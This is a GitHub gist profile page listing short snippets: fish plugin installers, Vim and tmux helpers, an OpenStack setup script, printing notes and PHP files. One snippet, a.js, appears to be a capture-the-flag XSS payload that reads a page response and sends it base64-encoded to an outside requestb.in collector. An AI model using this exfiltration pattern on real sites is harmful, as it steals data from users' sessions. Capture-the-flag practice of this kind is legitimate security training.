Skip to content

Instantly share code, notes, and snippets.

Avatar

Enrico Bacis enricobacis

View GitHub Profile
View fisher-install.fish
echo "[*] Downloading fisherman ...";
test -z "$XDG_CONFIG_HOME"; and set XDG_CONFIG_HOME ~/.config;
curl -sfLo $XDG_CONFIG_HOME/fish/functions/fisher.fish --create-dirs https://git.io/fisher; and fish -c "fisher"; and exec fish;
# leave the semicolons at the end of the lines, they are needed by eval
View test_timers.vim
let g:val = 0
function! MyHandler(timer)
let g:val += 1
endfunction
let timer = timer_start(50, 'MyHandler', {'repeat': -1})
sleep 10000m
call timer_stop(timer)
@enricobacis
enricobacis / install.sh
Last active Nov 16, 2019
openstack installation on CentOS 7
View install.sh
#!/bin/bash
ifconfig
read -p "Enter your external interface: " EXT_INTER
# do not edit after this line
set -x # enable echo
sudo yum install -y epel-release
sudo yum install -y vim git tmux bash-completion net-tools htop psmisc
View ltmux
#!/bin/bash
WHOAMI=$(whoami)
if tmux has-session -t $WHOAMI 2>/dev/null; then
tmux -2 attach-session -t $WHOAMI
else
tmux -2 new-session -s $WHOAMI
fi
@enricobacis
enricobacis / command-line-printing.md
Created Jan 4, 2017
command-line-printing in Unix/OSX
View command-line-printing.md

command-line-printing

to print the file filename.pdf using the default printer:

lpr filename.pdf

you can also specify the printer name using -P printername:

lpr -P printername filename.pdf
@enricobacis
enricobacis / errorlog.py
Created Nov 30, 2016
Overwrite python's logging.error to log also args
View errorlog.py
from functools import wraps
import logging
import inspect
# save the old logging.error function
__logging_error = logging.error
@wraps(logging.error)
def error(msg, *args, **kwargs):
__logging_error(msg, *args, **kwargs)
View a.js
var y=document.domain="web200.dctf-finals16.def.camp";
var r=new XMLHttpRequest();
r.onreadystatechange=function(){
var x=new XMLHttpRequest();
x.open("GET","//requestb.in/x4317nx4?v=" + btoa(r.responseText));
x.send();
alert(r.responseText);
};
View apc.php
<?php
/*
+----------------------------------------------------------------------+
| APC |
+----------------------------------------------------------------------+
| Copyright (c) 2006-2011 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
View install-fundle.fish
echo "[Downloading fundle ...]"
mkdir -p ~/.config/fish/functions
curl --fail --progress-bar --location https://git.io/fundle > ~/.config/fish/functions/fundle.fish \
&& fish -c "fundle install" \
&& exec fish
@enricobacis
enricobacis / CreateUpdate.php
Last active Sep 9, 2015
NethServer NetworkPackageManager
View CreateUpdate.php
<?php
/* /usr/share/nethesis/NethServer/Template/NetworkPackageManager/CreateUpdate.php */
if ($view->getModule()->getIdentifier() == 'update') {
$headerText = 'Update a package `${0}`';
} else {
$headerText = 'Create a new package';
}
echo $view->panel()